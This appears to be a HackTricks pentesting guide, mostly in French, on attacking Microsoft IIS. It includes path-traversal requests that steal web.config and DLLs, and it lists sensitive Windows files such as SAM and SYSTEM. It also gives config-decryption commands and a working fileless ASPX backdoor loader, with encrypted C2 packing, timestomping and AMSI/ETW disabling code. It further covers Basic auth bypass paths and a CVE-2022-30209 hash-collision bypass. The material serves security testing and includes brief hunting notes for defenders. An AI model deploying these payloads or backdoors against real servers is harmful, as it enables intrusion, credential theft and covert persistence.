IIS - Internet Information Services

Reading time: 16 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Extensions de fichiers exécutables à tester :

  • asp
  • aspx
  • config
  • php

Divulgation d'adresses IP internes

Sur tout serveur IIS oĂč vous obtenez un 302, vous pouvez essayer de supprimer le Host header et d'utiliser HTTP/1.0 ; dans la rĂ©ponse, le Location header peut pointer vers l'adresse IP interne :

nc -v domain.com 80
openssl s_client -connect domain.com:443

Réponse divulguant l'adresse IP interne :

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Exécuter des fichiers .config

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Téléchargez la liste que j'ai créée :

Elle a été créée en fusionnant le contenu des listes suivantes :

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Use it without adding any extension, the files that need it have it already.

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

tip

En rĂ©sumĂ©, il existe plusieurs fichiers web.config dans les dossiers de l'application avec des rĂ©fĂ©rences aux fichiers "assemblyIdentity" et aux "namespaces". Avec ces informations, il est possible de savoir oĂč sont localisĂ©s les exĂ©cutables et de les tĂ©lĂ©charger.
À partir des downloaded Dlls il est aussi possible de trouver de nouveaux namespaces oĂč vous devriez essayer d'accĂ©der et rĂ©cupĂ©rer le fichier web.config afin de trouver d'autres namespaces et assemblyIdentity.
De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through "assemblyIdentity" XML tags.

Exploring Binary Files

Un exemple d'accÚs au fichier web.config est montré ci-dessous:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Cette requĂȘte rĂ©vĂšle divers paramĂštres et dĂ©pendances, tels que :

  • EntityFramework version
  • AppSettings pour webpages, la validation cĂŽtĂ© client et JavaScript
  • System.web configurations pour l'authentification et le runtime
  • System.webServer paramĂštres des modules
  • Runtime assembly bindings pour de nombreuses bibliothĂšques comme Microsoft.Owin, Newtonsoft.Json, et System.Web.Mvc

Ces paramĂštres indiquent que certains fichiers, tels que /bin/WebGrease.dll, se trouvent dans le dossier /bin de l'application.

Root Directory Files

Les fichiers trouvés dans le répertoire racine, comme /global.asax et /connectionstrings.config (qui contient des mots de passe sensibles), sont essentiels à la configuration et au fonctionnement de l'application.

Namespaces and Web.Config

Les applications MVC dĂ©finissent aussi des web.config files supplĂ©mentaires pour des espaces de noms spĂ©cifiques afin d'Ă©viter des dĂ©clarations rĂ©pĂ©titives dans chaque fichier, comme dĂ©montrĂ© par une requĂȘte pour tĂ©lĂ©charger un autre web.config :

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Téléchargement de DLLs

La mention d'un namespace personnalisĂ© suggĂšre la prĂ©sence d'une DLL nommĂ©e "WebApplication1" dans le rĂ©pertoire /bin. Ensuite, une requĂȘte pour tĂ©lĂ©charger la WebApplication1.dll est affichĂ©e :

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Ceci suggÚre la présence d'autres DLL essentielles, comme System.Web.Mvc.dll et System.Web.Optimization.dll, dans le répertoire /bin.

Dans un scĂ©nario oĂč une DLL importe un espace de noms appelĂ© WebApplication1.Areas.Minded, un attaquant pourrait infĂ©rer l'existence d'autres fichiers web.config Ă  des chemins prĂ©visibles, tels que /area-name/Views/, contenant des configurations spĂ©cifiques et des rĂ©fĂ©rences Ă  d'autres DLLs dans le dossier /bin. Par exemple, une requĂȘte vers /Minded/Views/web.config peut rĂ©vĂ©ler des configurations et des namespaces indiquant la prĂ©sence d'une autre DLL, WebApplication1.AdditionalFeatures.dll.

Fichiers courants

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

Cela signifie que le serveur n'a pas reçu le nom de domaine correct dans le Host header.
Pour accĂ©der Ă  la page web, vous pouvez jeter un Ɠil au SSL Certificate servi et peut‑ĂȘtre y trouverez‑vous le nom de domaine/sous‑domaine. S'il n'y est pas, vous devrez peut‑ĂȘtre brute force VHosts jusqu'Ă  trouver le bon.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Deux méthodes courantes pour protéger des secrets sur des applications .NET hébergées sur IIS sont :

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) pour les sections de web.config comme .
  • ASP.NET Core Data Protection key ring (persisted locally) utilisĂ© pour protĂ©ger les secrets de l'application et les cookies.

Si vous avez un accĂšs filesystem ou interactif sur le serveur web, des clĂ©s co‑localisĂ©es permettent souvent le dĂ©chiffrement.

  • ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis:
cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – rechercher les Data Protection key rings stockĂ©s localement (fichiers XML/JSON) dans des emplacements tels que :
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Avec le trousseau de clĂ©s disponible, un opĂ©rateur s'exĂ©cutant sous l'identitĂ© de l'application peut instancier un IDataProtector avec les mĂȘmes purposes et appeler unprotect sur les secrets stockĂ©s. Les mauvaises configurations qui stockent le trousseau de clĂ©s avec les fichiers de l'application rendent le dĂ©chiffrement hors ligne trivial une fois l'hĂŽte compromis.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Le toolkit Phantom Taurus/NET-STAR illustre un schĂ©ma mature pour fileless IIS persistence et post‑exploitation entiĂšrement Ă  l'intĂ©rieur de w3wp.exe. Les idĂ©es de base sont largement rĂ©utilisables pour custom tradecraft et pour detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: une seule page .aspx (par ex., OutlookEN.aspx) contient une .NET DLL encodĂ©e en Base64, Ă©ventuellement compressĂ©e en Gzip. Lors d'une requĂȘte dĂ©clencheur elle la dĂ©code, la dĂ©compresse et la charge reflectively dans l'AppDomain courant puis invoque le point d'entrĂ©e principal (par ex., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tĂąches/rĂ©sultats sont emballĂ©s avec Gzip → AES‑ECB/PKCS7 → Base64 et vĂ©hiculĂ©s via des requĂȘtes apparemment lĂ©gitimes fortement chargĂ©es de cookies ; les opĂ©rateurs utilisaient des dĂ©limiteurs stables (par ex., "STAR") pour le chunking.
  • Reflective .NET execution: accepte des assemblies managĂ©s arbitraires en Base64, les charge via Assembly.Load(byte[]) et passe des operator args pour permettre des swaps de modules rapides sans Ă©crire sur le disque.
  • Operating in precompiled ASP.NET sites: ajouter/gĂ©rer des shells/backdoors auxiliaires mĂȘme lorsque le site est prĂ©compilĂ© (par ex., le dropper ajoute des pages/handlers dynamiques ou exploite des config handlers) – exposĂ© par des commandes telles que bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: exposer une action changeLastModified et timestomp lors du dĂ©ploiement (incluant les timestamps de compilation futurs) pour entraver le DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: un loader de second stade peut dĂ©sactiver AMSI et ETW avant d'appeler Assembly.Load pour rĂ©duire l'inspection des payloads en mĂ©moire.

Schéma minimal de loader ASPX

aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Outils d'aide pour Packing/crypto (Gzip + AES‑ECB + Base64)

csharp
using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session flux et surface de commande

  • L'initialisation de session et l'assignation des tĂąches sont rĂ©alisĂ©es via des cookies pour se fondre dans l'activitĂ© web normale.
  • Les commandes observĂ©es sur le terrain incluaient : fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; et les primitives d'exĂ©cution dynamique code_self, code_pid, run_code pour l'exĂ©cution .NET en mĂ©moire.

Utilitaire de Timestomping

csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Désactivation inline d'AMSI/ETW avant Assembly.Load (variante loader)

csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Voir les techniques de contournement AMSI/ETW dans : windows-hardening/av-bypass.md

Notes pour les défenseurs (Hunting)

  • Page ASPX unique et Ă©trange avec de trĂšs longs blobs Base64/Gzip ; requĂȘtes POST avec beaucoup de cookies.
  • Modules managĂ©s non attachĂ©s dans w3wp.exe ; chaĂźnes comme Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • DĂ©limiteurs rĂ©pĂ©tĂ©s comme "STAR" dans le trafic ; horodatages discordants ou mĂȘme futurs sur les ASPX/assemblies.

Anciennes vulnérabilités IIS à rechercher

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Vous pouvez essayer d'Ă©numĂ©rer les dossiers et fichiers Ă  l'intĂ©rieur de chaque dossier dĂ©couvert (mĂȘme si cela nĂ©cessite Basic Authentication) en utilisant cette technique.
La principale limitation de cette technique si le serveur est vulnérable est qu'elle ne peut trouver que les 6 premiÚres lettres du nom de chaque fichier/dossier et les 3 premiÚres lettres de l'extension des fichiers.

Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Recherche originale : https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Vous pouvez aussi utiliser metasploit : use scanner/http/iis_shortname_scanner

Une bonne idée pour trouver le nom final des fichiers découverts est de demander aux LLMs des options comme c'est fait dans le script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Contourner une authentification Basic (IIS 7.5) en essayant d'accéder à : /admin:$i30:$INDEX_ALLOCATION/admin.php ou /admin::$INDEX_ALLOCATION/admin.php

Vous pouvez essayer de combiner cette vulnérabilité et la précédente pour trouver de nouveaux dossiers et contourner l'authentification.

ASP.NET Trace.AXD enabled debugging

ASP.NET inclut un mode de débogage et son fichier s'appelle trace.axd.

Il conserve un journal trĂšs dĂ©taillĂ© de toutes les requĂȘtes effectuĂ©es sur une application sur une pĂ©riode donnĂ©e.

Ces informations incluent les IP distantes des clients, les session IDs, tous les cookies de requĂȘte et de rĂ©ponse, les chemins physiques, des informations sur le code source, et potentiellement mĂȘme des noms d'utilisateur et des mots de passe.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH utilise les informations suivantes :

  • validationKey (string) : clĂ© encodĂ©e en hex utilisĂ©e pour la validation de la signature.
  • decryptionMethod (string) : (par dĂ©faut “AES”).
  • decryptionIV (string) : vecteur d'initialisation encodĂ© en hex (par dĂ©faut un vecteur de zĂ©ros).
  • decryptionKey (string) : clĂ© encodĂ©e en hex utilisĂ©e pour le dĂ©chiffrement.

Cependant, certaines personnes utilisent les valeurs par dĂ©faut de ces paramĂštres et mettent comme cookie l'email de l'utilisateur. Par consĂ©quent, si vous trouvez un site utilisant la mĂȘme plateforme qui utilise le cookie ASPXAUTH et que vous crĂ©ez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper sur le serveur attaquĂ©, vous pourriez ĂȘtre en mesure d'utiliser le cookie du second serveur sur le premier et d'usurper l'utilisateur.
Cette attaque a fonctionné dans ce writeup : https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here : Un bug dans le code ne vérifiait pas correctement le mot de passe fourni par l'utilisateur, donc un attaquant dont le hash du mot de passe correspond à une clé déjà présente dans le cache pourra se connecter en tant que cet utilisateur.

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks